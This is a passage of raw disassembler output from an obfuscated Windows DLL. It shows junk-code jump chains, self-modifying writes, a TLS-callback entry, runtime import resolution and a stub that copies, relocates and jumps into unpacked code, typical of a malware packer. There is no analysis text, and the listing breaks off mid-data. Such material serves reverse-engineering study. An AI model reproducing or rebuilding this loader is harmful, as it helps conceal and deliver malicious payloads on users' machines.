sub_1002812C ; --------------------------------------------------------------------------- align 4 dd 598C0F00h, 0E9FFFFDCh, 0FFFFF6DAh, 0D58DFD81h, 0CAE9C20Bh dd 0FFFFDAh db 0 ; --------------------------------------------------------------------------- loc_10029251: ; CODE XREF: _3a14gzkz:10027A57j push 0B3044C98h pop eax and eax, 5368BDC3h or eax, 0FB29CA17h add eax, 14D7C4CCh or eax, eax jmp loc_100278D3 ; --------------------------------------------------------------------------- db 2 dup(0) word_10029272 dw 8Bh ; DATA XREF: sub_10027CEA+38o dd 2C008A9Dh, 0FC558B99h, 0FFEC5FE8h ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_10029282: ; CODE XREF: _3a14gzkz:10028F0Bj push ebp xchg ebx, [esp] pop ebx xor ebx, 0CE55626Eh add ebx, ebp push offset byte_10029409 jmp locret_100293FC ; =============== S U B R O U T I N E ======================================= sub_10029299 proc near ; CODE XREF: _3a14gzkz:loc_10029055p arg_0 = dword ptr 4 xchg ebx, [esp+0] pop ebx xchg edx, [esp-4+arg_0] pop edx jmp near ptr dword_10027BCC+4 sub_10029299 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 loc_100292A8: ; CODE XREF: _3a14gzkz:1002783Ej lea eax, nullsub_226 mov byte ptr [eax], 0C3h jmp loc_100285EE ; --------------------------------------------------------------------------- align 4 xor esi, 446B0404h test edi, esi loc_100292C0: ; CODE XREF: _3a14gzkz:loc_10026DC1j pop esi jmp loc_1002713A ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100273CB loc_100292C7: ; CODE XREF: sub_100273CB+8j xchg esi, [esp-8+arg_4] mov ebx, esi pop esi push offset byte_1002944D jmp nullsub_184 ; END OF FUNCTION CHUNK FOR sub_100273CB ; --------------------------------------------------------------------------- db 89h ; --------------------------------------------------------------------------- sub ch, cl movsb idiv edi inc dword ptr [eax] loc_100292DF: ; CODE XREF: _3a14gzkz:loc_10029039j popf db 3Eh sar ah, 0E9h mov ebp, 57FFFFF2h jmp loc_10028523 ; --------------------------------------------------------------------------- align 10h test ebp, eax jmp loc_10027231 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_10028DD4 loc_100292F8: ; CODE XREF: sub_10028DD4-96Aj jnz loc_100288F7 add [ebx], ah setalc pop edx mov eax, ecx and edx, 0F0703A6Dh jb loc_10027C15 jmp loc_100288F7 ; END OF FUNCTION CHUNK FOR sub_10028DD4 ; --------------------------------------------------------------------------- align 2 push 10028441h jmp loc_100275FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028ED3 loc_10029320: ; CODE XREF: sub_10028ED3:loc_100293B7j jnz loc_10027850 jmp loc_10029187 ; END OF FUNCTION CHUNK FOR sub_10028ED3 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- locret_1002932D: ; CODE XREF: _3a14gzkz:loc_10028660j retn ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028DD4 loc_1002932F: ; CODE XREF: sub_10028DD4-11BDj jmp loc_10026CAB ; END OF FUNCTION CHUNK FOR sub_10028DD4 ; --------------------------------------------------------------------------- dd 875A0000h, 5AE82404h, 0FFFFFDh db 0 byte_10029341 db 0C6h, 2, 0C3h ; DATA XREF: sub_100284AA:loc_10028F30o dd 8B241C87h, 0E9595BD3h, 0FFFFE093h, 0CFC10000h, 0F70CE90Dh db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002883B loc_1002935B: ; CODE XREF: sub_1002883B+774j add edi, eax call sub_10028A66 ; END OF FUNCTION CHUNK FOR sub_1002883B ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028CB7 loc_10029364: ; CODE XREF: sub_10028CB7+508j jmp nullsub_229 ; END OF FUNCTION CHUNK FOR sub_10028CB7 ; --------------------------------------------------------------------------- db 2 dup(0), 68h dd offset byte_10029529 dd 0FFDF7FE9h, 0C300FFh ; --------------------------------------------------------------------------- loc_10029378: ; CODE XREF: _3a14gzkz:100284CCj jmp loc_10028ADD ; --------------------------------------------------------------------------- loc_1002937D: ; CODE XREF: _3a14gzkz:loc_1002915Aj push offset dword_10028B44 jmp loc_1002920F ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_10029389: ; DATA XREF: sub_10028AC5-775o mov byte ptr ds:dword_100273EC+1, 68h mov byte ptr ds:dword_100273EC+6, 0E9h mov byte ptr ds:dword_100275C0+0Eh, 0C3h mov byte ptr ds:dword_10026CBC+1Eh, 0Fh mov ds:byte_10028707, 0Fh ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND] align 2 loc_100293AE: ; CODE XREF: _3a14gzkz:100273DDj jmp locret_1002858C ; --------------------------------------------------------------------------- align 4 db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_215. PRESS KEYPAD "+" TO EXPAND] db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028ED3 loc_100293B7: ; CODE XREF: sub_10028ED3+Cj jmp loc_10029320 ; END OF FUNCTION CHUNK FOR sub_10028ED3 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028DD4 loc_100293BE: ; CODE XREF: sub_10028DD4+3j jmp loc_10028C85 ; END OF FUNCTION CHUNK FOR sub_10028DD4 ; --------------------------------------------------------------------------- align 4 dd 0E18DE900h db 2 dup(0FFh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_226. PRESS KEYPAD "+" TO EXPAND] db 82h dd 0FFFFFF18h, 0FFF9C3E8h ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_100293D6: ; CODE XREF: _3a14gzkz:1002721Cj jmp locret_100289FB ; --------------------------------------------------------------------------- align 4 dd 0E57AE900h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- loc_100293E3: ; CODE XREF: _3a14gzkz:loc_1002822Cj and eax, 53C9BF74h add eax, 0FC415F43h or eax, eax loc_100293F1: ; CODE XREF: _3a14gzkz:loc_100278D3j jz loc_10027DF8 jmp near ptr loc_10027699+1 ; --------------------------------------------------------------------------- locret_100293FC: ; CODE XREF: _3a14gzkz:10029294j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028EFA loc_100293FD: ; CODE XREF: sub_10028EFA+6j jmp loc_100285E1 ; END OF FUNCTION CHUNK FOR sub_10028EFA ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10027795 loc_10029403: ; CODE XREF: sub_10027795+211j jmp near ptr byte_10026FD5+2 ; END OF FUNCTION CHUNK FOR sub_10027795 ; --------------------------------------------------------------------------- db 0 byte_10029409 db 81h, 0C3h, 85h ; DATA XREF: _3a14gzkz:1002928Fo dd 8BC85562h, 70CF681Bh, 0ABE91002h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_1002941B: ; CODE XREF: _3a14gzkz:10028DE9j add esi, edi push 5EAF896Bh test esi, ecx jmp loc_10028E4A ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_1002942B: ; CODE XREF: _3a14gzkz:10028956j sub eax, 2A53511Dh xor eax, 3DBA0F5Bh jnz loc_10028F42 ; --------------------------------------------------------------------------- db 2 dup(0), 9Dh ; --------------------------------------------------------------------------- add eax, 526D9206h jmp loc_10028F3A ; --------------------------------------------------------------------------- align 4 db 0 byte_1002944D db 68h, 7, 0C5h ; DATA XREF: sub_100273CB+1F02o dd 815828DEh, 97F6BAF0h, 0D8E081AEh, 81EC1FBAh, 0F948C8C0h db 2 dup(8Bh), 0 byte_10029467 db 29h ; DATA XREF: sub_10027810:loc_100279DEo dd 0FC16E9D0h, 0F00FFFFh, 0FFE9E58Eh db 0FFh ; =============== S U B R O U T I N E ======================================= sub_10029475 proc near ; CODE XREF: _3a14gzkz:loc_10028D24p ; FUNCTION CHUNK AT 10027AFB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10027CA6 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 100280EC SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10028DDC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10028E56 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 100291CF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100296D3 SIZE 00000008 BYTES xchg edx, [esp+0] xchg ebp, [esp+0] mov edx, ebp pop ebp mov byte ptr [ebx], 0C3h pop ebx jmp loc_100296D3 sub_10029475 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_10029487: ; CODE XREF: _3a14gzkz:loc_100275A5j mov byte ptr [ecx], 87h pop ecx push edx push 0CC488F71h pop edx jmp loc_1002895B ; --------------------------------------------------------------------------- align 4 db 0 ; =============== S U B R O U T I N E ======================================= sub_10029499 proc near ; CODE XREF: _3a14gzkz:loc_100277A5p xchg edx, [esp+0] xchg ebp, [esp+0] mov edx, ebp pop ebp jmp near ptr loc_10029100+1 sub_10029499 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 dd 0E8B5E959h, 0FFFFh ; --------------------------------------------------------------------------- loc_100294B0: ; CODE XREF: _3a14gzkz:10028967j jge loc_100277A5 sub ebp, esi and edi, 0C4BA2195h jmp loc_100277A5 ; --------------------------------------------------------------------------- align 4 dd 0C300h, 0DDAE840Fh, 0DE0BFFFFh, 0FFE348E9h db 0FFh ; --------------------------------------------------------------------------- loc_100294D5: ; CODE XREF: _3a14gzkz:10029562j jnb loc_10028C7A push dword ptr [ebp+10h] push esi push 0D110A348h push offset sub_10028B63 jmp locret_10028B60 ; --------------------------------------------------------------------------- align 10h ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_219. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_100294F1: ; DATA XREF: sub_10029734+6o sub eax, edx mov eax, [edi+ebp*4+52FFFFFDh] mov edx, offset loc_10028E5F jmp loc_10027F28 ; --------------------------------------------------------------------------- dword_10029504 dd 68241487h, 1002809Dh, 0FFEB80E9h, 148700FFh, 0E8565A24h ; DATA XREF: _3a14gzkz:10026F15o dd 0FFFFD896h, 2414879Dh, 0E9108BC3h, 0FFFFD8E0h db 0 byte_10029529 db 81h, 0C3h, 16h ; DATA XREF: _3a14gzkz:1002936Co dd 3752078h, 0E114E8DDh, 0FFFFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10029627 loc_10029538: ; CODE XREF: sub_10029627+19j jmp loc_10028D77 ; END OF FUNCTION CHUNK FOR sub_10029627 ; --------------------------------------------------------------------------- db 0D1h, 0C2h, 0F7h dd 0D5F8E5C7h, 0F4EBE969h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- loc_1002954B: ; CODE XREF: _3a14gzkz:10027A99j jo loc_100274A7 jg loc_10027D0E push 0F6CF1FA8h test edx, 3AD72F4Fh jmp loc_100294D5 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002812C loc_10029569: ; CODE XREF: sub_1002812C:loc_10028934j call sub_100283CF loc_1002956E: ; CODE XREF: _3a14gzkz:1002718Ej jmp loc_100289BB ; END OF FUNCTION CHUNK FOR sub_1002812C ; --------------------------------------------------------------------------- loc_10029573: ; CODE XREF: _3a14gzkz:1002824Cj call sub_10028143 sub eax, ecx ; =============== S U B R O U T I N E ======================================= sub_1002957A proc near ; CODE XREF: _3a14gzkz:100289AFp ; FUNCTION CHUNK AT 10028121 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100281CC SIZE 00000023 BYTES ; FUNCTION CHUNK AT 100283FC SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1002897B SIZE 00000005 BYTES xchg edi, [esp+0] pop edi push ebx jmp loc_10028121 sub_1002957A endp ; --------------------------------------------------------------------------- db 0 byte_10029585 db 68h, 8Ch, 25h ; DATA XREF: sub_10028ED3-187o dd 8158AEE1h, 0A80FA3C0h, 65C881C8h, 81D76CB2h, 14BDAFC0h dd 60E95518h, 0FFFFEBh db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_220. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_100295A6: ; DATA XREF: sub_10027DF2:loc_10027DF8o mov dword ptr [ebp-4], 1 push 0F7C64828h pop eax or eax, 8BA63B77h sub eax, 8BC2BCABh jnb loc_10026F50 ; START OF FUNCTION CHUNK FOR sub_10028AC5 loc_100295C5: ; CODE XREF: sub_10028AC5+13j jmp nullsub_189 ; END OF FUNCTION CHUNK FOR sub_10028AC5 ; --------------------------------------------------------------------------- dw 8700h dd 79E90045h db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100275B2 loc_100295D3: ; CODE XREF: sub_100275B2:loc_10028057j mov byte ptr [ecx], 0FFh xchg ebp, [esp-4+arg_0] mov ecx, ebp pop ebp pop ebx rol ebx, 1Ch push ecx jmp loc_1002903F ; END OF FUNCTION CHUNK FOR sub_100275B2 ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_214. PRESS KEYPAD "+" TO EXPAND] dd 3C870000h, 0E8685F24h, 5A30707Ch, 0E9D18B52h, 0FFFFE78Bh db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_180. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_179. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0) ; --------------------------------------------------------------------------- loc_10029603: ; CODE XREF: _3a14gzkz:10028C1Aj jmp near ptr dword_100280D8+2 ; --------------------------------------------------------------------------- dd 0CE7C100h, 0FFFA01E9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_10029613: ; DATA XREF: sub_10027CEA+B1o add edx, 0A90EB23Eh push offset word_10029836 jmp loc_10028DCE ; --------------------------------------------------------------------------- align 4 db 0, 0C3h, 0 ; =============== S U B R O U T I N E ======================================= sub_10029627 proc near ; CODE XREF: _3a14gzkz:loc_100275FDp ; _3a14gzkz:10027EC0j ; FUNCTION CHUNK AT 10028D77 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 10029538 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx push 0D8285ADAh pop esi or esi, 314C4F8Ch rol esi, 0Bh sub esi, 0AAF1882Fh jmp loc_10029538 sub_10029627 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0), 33h ; --------------------------------------------------------------------------- fsubp st(1), st sbb eax, 0 ; =============== S U B R O U T I N E ======================================= sub_1002964F proc near ; CODE XREF: _3a14gzkz:loc_10028ADDp xchg ebx, [esp+0] pop ebx push offset loc_10027C05 jmp nullsub_222 sub_1002964F endp ; --------------------------------------------------------------------------- db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_184. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- xor edx, 0E1E37A2Eh jmp sub_100284AA ; --------------------------------------------------------------------------- db 0F7h dd 0C6B23DC5h, 0F658E911h, 8700FFFFh, 0E9240Ch, 68FFFFFAh dd 10028E1Fh, 0FFF320E9h, 23DE0BFFh, 0E658E9D6h db 2 dup(0FFh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_230. PRESS KEYPAD "+" TO EXPAND] align 4 dd 0E9D93300h, 68h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100279AD loc_1002969E: ; CODE XREF: sub_100279AD-99Ej adc edx, 97646557h loc_100296A4: ; CODE XREF: sub_100279AD+12C0j add esi, 0C4E61C1Eh or esi, 0B1DE4351h xor esi, 3D24AA8Fh add esi, 8527516Eh xchg esi, [esp+0] jmp near ptr dword_10026C9C+0Ah ; END OF FUNCTION CHUNK FOR sub_100279AD ; --------------------------------------------------------------------------- dword_100296C4 dd 0F00006Dh, 0FFF7408Ch, 0D743E9FFh db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10029475 loc_100296D3: ; CODE XREF: sub_10029475+Dj pop ecx test [eax], al loc_100296D6: ; CODE XREF: _3a14gzkz:10028031j jmp loc_10027CA6 ; END OF FUNCTION CHUNK FOR sub_10029475 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002781D loc_100296DB: ; CODE XREF: sub_1002781D:loc_100270C8j push 0FCEC674Fh pop eax rol eax, 0Fh jnb loc_10027DCD loc_100296EA: ; CODE XREF: sub_1002848E+17j add cl, ch push ds hlt ; END OF FUNCTION CHUNK FOR sub_1002781D ; --------------------------------------------------------------------------- dw 0FFFFh db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_100296F1: ; CODE XREF: sub_1002707B+239j jmp loc_10027B00 ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- dw 0EE81h dd 11BA666Ah, 0E90ECBC1h, 0FFFFDB4Fh, 241C879Dh, 0ED058D5Bh dd 57100273h, 0FFE1DCE9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028AC5 loc_10029717: ; CODE XREF: sub_10028AC5:loc_10026FD0j mov eax, offset nullsub_7 jmp loc_10027A8C ; END OF FUNCTION CHUNK FOR sub_10028AC5 ; --------------------------------------------------------------------------- and eax, 6F24B116h jmp sub_1002918F ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_1002972E: ; CODE XREF: _3a14gzkz:10028868j jp near ptr loc_10027714+1 ; =============== S U B R O U T I N E ======================================= sub_10029734 proc near ; CODE XREF: sub_1002707B+619p xchg ebx, [esp+0] pop ebx mov eax, [eax] push offset loc_100294F1 jmp nullsub_216 sub_10029734 endp ; --------------------------------------------------------------------------- dd 0FFEAEAE8h ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_1002974A: ; CODE XREF: _3a14gzkz:10026E08j push edx push offset loc_10027740 jmp loc_10027B65 ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_1002812C loc_10029756: ; CODE XREF: sub_1002812C:loc_1002868Ej mov byte ptr [eax], 49h pop eax lodsb push offset loc_10027543 jmp loc_100277DF ; END OF FUNCTION CHUNK FOR sub_1002812C ; --------------------------------------------------------------------------- db 2 dup(0), 0Fh dd 0FFE8018Ch, 0F328BFFh, 0FFFBB886h, 0DBBEE9FFh, 0F881FFFFh dd 3595D501h, 0FFF79BE9h db 0FFh ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_192. PRESS KEYPAD "+" TO EXPAND] dw 300h db 0C7h ; =============== S U B R O U T I N E ======================================= sub_10029789 proc near ; CODE XREF: sub_10029160:loc_10026CEDp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 1002706F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10028B82 SIZE 0000000E BYTES xchg eax, [esp+0] xchg ebp, [esp+0] mov eax, ebp jmp loc_1002706F sub_10029789 endp ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_10029797: ; CODE XREF: _3a14gzkz:10027F9Cj jnz loc_100279DE add ecx, 82795C7Dh cmp esi, edi jmp loc_100290EF ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_190. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002812C loc_100297AC: ; CODE XREF: sub_1002812C+89Dj jmp loc_10026DED ; END OF FUNCTION CHUNK FOR sub_1002812C ; --------------------------------------------------------------------------- db 2 dup(0), 53h ; --------------------------------------------------------------------------- push ebp pop ebx push edi mov edi, offset loc_100284FF jmp loc_100271D4 ; --------------------------------------------------------------------------- align 2 dw 8B0Fh dd 0FFFFE3D0h, 0F2F28D0Fh, 0C381FFFFh, 0EEFC29D9h, 0B97E381h dd 0B4E9DBE8h, 0FFFFD9h, 9ADD8100h, 0E9A6DA5Bh, 0FFFFE2DBh db 0 ; --------------------------------------------------------------------------- loc_100297ED: ; DATA XREF: _3a14gzkz:loc_10027217o mov byte ptr [edx], 8Bh pop edx xchg ebx, [esp] loc_100297F4: ; DATA XREF: _3a14gzkz:100271ACo mov al, ds:5EE951ECh fdivp st(7), st inc dword ptr [eax] retn ; --------------------------------------------------------------------------- align 10h dword_10029800 dd 49F68568h, 0E8815844h, 0D82A6BA5h, 0FFE122E8h ; DATA XREF: sub_10029475:loc_100280ECo db 0FFh ; --------------------------------------------------------------------------- loc_10029811: ; CODE XREF: _3a14gzkz:10028791j jmp locret_10029116 ; --------------------------------------------------------------------------- align 4 adc edi, ebx loc_1002981A: ; CODE XREF: sub_10027275+16p xchg ebx, [esp] pop ebx xchg edi, [esp] push cs adc eax, offset dword_1001E0C0 push edi call loc_10028477 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028ED3 loc_1002982E: ; CODE XREF: _3a14gzkz:100270F4j ; sub_10028ED3-1689j jmp loc_1002804B ; END OF FUNCTION CHUNK FOR sub_10028ED3 ; --------------------------------------------------------------------------- align 4 locret_10029834: ; CODE XREF: _3a14gzkz:loc_10028DCEj retn ; --------------------------------------------------------------------------- align 2 word_10029836 dw 0BE56h ; DATA XREF: _3a14gzkz:10029619o dd offset dword_100279F4+6 dd 0FFF35FE9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10027810 loc_10029843: ; CODE XREF: sub_10027810:loc_10028AE4j call sub_100273CB locret_10029848: ; CODE XREF: sub_10029627-898j retn ; END OF FUNCTION CHUNK FOR sub_10027810 ; --------------------------------------------------------------------------- db 8Bh, 0D3h, 0E9h dd 0FFFFF37Ah db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10029851 proc near ; CODE XREF: sub_10028AC5-77Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 100299A6 SIZE 0000000B BYTES push ebp mov ebp, esp add esp, 0FFFFFFF4h push esi push edi push ebx mov esi, offset dword_10012000 mov eax, 10000000h mov [ebp+var_4], eax mov edx, eax loc_10029869: ; CODE XREF: sub_10029851+15Bj mov eax, [esi+0Ch] or eax, eax jz loc_10029900 add eax, edx mov ebx, eax push eax call ds:dword_1001E0B4 ; GetModuleHandleA or eax, eax jnz loc_10029896 push ebx call ds:dword_1001E0B8 ; LoadLibraryA or eax, eax jz loc_100298F8 loc_10029896: ; CODE XREF: sub_10029851+30j mov [ebp+var_8], eax push 0 pop [ebp+var_C] loc_1002989E: ; CODE XREF: sub_10029851+A2j mov eax, [esi] or eax, eax mov edx, [ebp+var_4] jnz loc_100298AE mov eax, [esi+10h] loc_100298AE: ; CODE XREF: sub_10029851+54j add eax, edx add eax, [ebp+var_C] mov ebx, [eax] mov edi, [esi+10h] add edi, edx add edi, [ebp+var_C] or ebx, ebx jz loc_100299A6 test ebx, 80000000h jnz loc_100298D5 lea ebx, [ebx+edx+2] loc_100298D5: ; CODE XREF: sub_10029851+7Aj and ebx, 7FFFFFFFh push ebx push [ebp+var_8] call ds:dword_1001E0BC ; GetProcAddress or eax, eax jz loc_100298F8 mov [edi], eax add [ebp+var_C], 4 jmp loc_1002989E ; --------------------------------------------------------------------------- loc_100298F8: ; CODE XREF: sub_10029851+3Fj ; sub_10029851+96j push ebx mov eax, ebx call sub_10029908 loc_10029900: ; CODE XREF: sub_10029851+1Dj pop ebx pop edi pop esi mov esp, ebp pop ebp retn sub_10029851 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10029908 proc near ; CODE XREF: sub_10029851+AAp var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh var_F8 = dword ptr -0F8h push ebp mov ebp, esp add esp, 0FFFFFEF8h mov [ebp+var_104], eax mov [ebp+var_100], 276E6143h mov [ebp+var_FC], 6F6C2074h mov [ebp+var_F8], 206461h mov [ebp+var_108], 0Bh loc_1002993F: ; CODE XREF: sub_10029908+97j mov eax, [ebp+var_104] cmp byte ptr [eax], 0 jnz loc_1002997E mov eax, [ebp+var_108] mov byte ptr [ebp+eax+var_100], 0 push 2010h push 0 lea eax, [ebp+var_100] push eax push 0 call ds:dword_1001E104 ; MessageBoxA push 0FFFFFFFFh call ds:dword_1001E0C0 ; ExitProcess mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_1002997E: ; CODE XREF: sub_10029908+40j mov eax, [ebp+var_108] mov edx, [ebp+var_104] mov dl, [edx] mov byte ptr [ebp+eax+var_100], dl inc [ebp+var_108] inc [ebp+var_104] jmp loc_1002993F sub_10029908 endp ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10029851 loc_100299A6: ; CODE XREF: sub_10029851+6Ej add esi, 14h mov edx, [ebp+var_4] jmp loc_10029869 ; END OF FUNCTION CHUNK FOR sub_10029851 ; --------------------------------------------------------------------------- align 2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_100299B3 proc near ; CODE XREF: _3a14gzkz:10029AB7p ; TlsCallback_0p mov eax, offset sub_10026C78 locret_100299B8: ; DATA XREF: sub_100299B9+8o retn sub_100299B3 endp ; =============== S U B R O U T I N E ======================================= sub_100299B9 proc near ; DATA XREF: _3a14gzkz:off_10027B44o var_14 = dword ptr -14h var_10 = dword ptr -10h push esi push edi push ecx push ebx push eax mov ebx, [esp+14h+var_14] sub ebx, offset locret_100299B8 mov eax, 238Ah push eax push 4 push 1000h push eax push 0 mov eax, offset dword_1001E0C4 mov eax, [eax+ebx] call eax pop ecx mov edx, offset sub_10026C78 add edx, ebx push edx push ebx push eax mov edi, eax mov esi, edx cld rep movsb mov ecx, offset sub_10026AF4 add ecx, ebx call ecx pop eax mov ebx, [esp+10h+var_10] push 8000h push 0 push eax mov eax, 1001E0C8h mov eax, [eax+ebx] call eax pop ecx pop eax pop ebx sub ebx, 5 mov byte ptr [ebx], 0B8h inc ebx mov [ebx], eax add ebx, 4 mov byte ptr [ebx], 0C3h or ecx, ecx jz short loc_10029A6E mov ebx, eax call loc_10029ACF cld lodsd cmp eax, 0FFFFFFFFh jz short loc_10029A6E push ebx mov ebx, ecx loc_10029A39: ; CODE XREF: sub_100299B9+91j ; sub_100299B9+A4j ... add ebx, eax add [ebx], ecx add ebx, 4 lodsb cmp al, 0FEh jnb short loc_10029A4C and eax, 0FFh jmp short loc_10029A39 ; --------------------------------------------------------------------------- loc_10029A4C: ; CODE XREF: sub_100299B9+8Aj add ebx, 0FEh or eax, eax jp short loc_10029A5F lodsw and eax, 0FFFFh jmp short loc_10029A39 ; --------------------------------------------------------------------------- loc_10029A5F: ; CODE XREF: sub_100299B9+9Bj lodsd dec esi and eax, 0FFFFFFh cmp eax, 0FFFFFFh jnz short loc_10029A39 pop eax loc_10029A6E: ; CODE XREF: sub_100299B9+6Dj ; sub_100299B9+7Bj pop ebx pop ecx pop edi pop esi retn sub_100299B9 endp ; --------------------------------------------------------------------------- adc byte ptr [edx+41h], 4Dh wait mov dword ptr [edi+6634AB44h], 0F29A2A0Eh and [ebp-298EFAE5h], ebx mov [ecx+7Dh], eax jmp short loc_10029AB1 ; --------------------------------------------------------------------------- db 0B8h, 24h, 0E8h dd 0D9DE9B70h, 53935A67h, 457B7F43h, 48ABBA5Fh, 6AF7F48Eh dd 0A26B0E04h, 503D28FFh, 6B44A642h db 0B2h ; --------------------------------------------------------------------------- loc_10029AB1: ; CODE XREF: _3a14gzkz:10029A8Bj xor [edi-59h], ch jnz short near ptr loc_10029ACF+1 stc call sub_100299B3 add eax, 775h jmp eax ; =============== S U B R O U T I N E ======================================= public TlsCallback_0 TlsCallback_0 proc near ; DATA XREF: _3a14gzkz:TlsCallbackso call sub_100299B3 add eax, 1A8Fh jmp eax TlsCallback_0 endp ; --------------------------------------------------------------------------- loc_10029ACF: ; CODE XREF: sub_100299B9+71p ; _3a14gzkz:10029AB4j call sub_10029AD8 ; --------------------------------------------------------------------------- dd 0FFFFFFFFh ; =============== S U B R O U T I N E ======================================= sub_10029AD8 proc near ; CODE XREF: _3a14gzkz:loc_10029ACFp pop esi retn sub_10029AD8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 9E00h dd 256EAC24h, 0E5F05C96h, 2D1E49E6h, 3A33E366h, 3E99779Eh dd 3AF43782h, 4037F122h, 0CAE1DA26h, 0E7278535h, 8FE03037h dd 31CF072Bh, 0CBD4FB61h, 9D9C48DBh, 0DF6F9A9Eh, 3D94400Eh dd 80196727h, 43F68C79h, 0CC8D5F78h, 41071BF1h, 1470959Ah dd 897C4499h, 4B84D2F5h, 0C3F05928h, 88712A5Fh, 0E4417139h dd 0BC15D760h, 42DB4039h, 2B221ACBh, 1A723C00h, 0D9132C65h dd 0B0E7CD45h, 39108DFEh, 351D4E74h, 0E6C7B5A7h, 0D4DB7467h dd 0B0BC2645h, 2F475154h, 3AD9F12Fh, 0AA7B264Fh, 8998F77h dd 6F8A425Eh, 53BC139Ch, 0E784DDF8h, 5F5F3A6Eh, 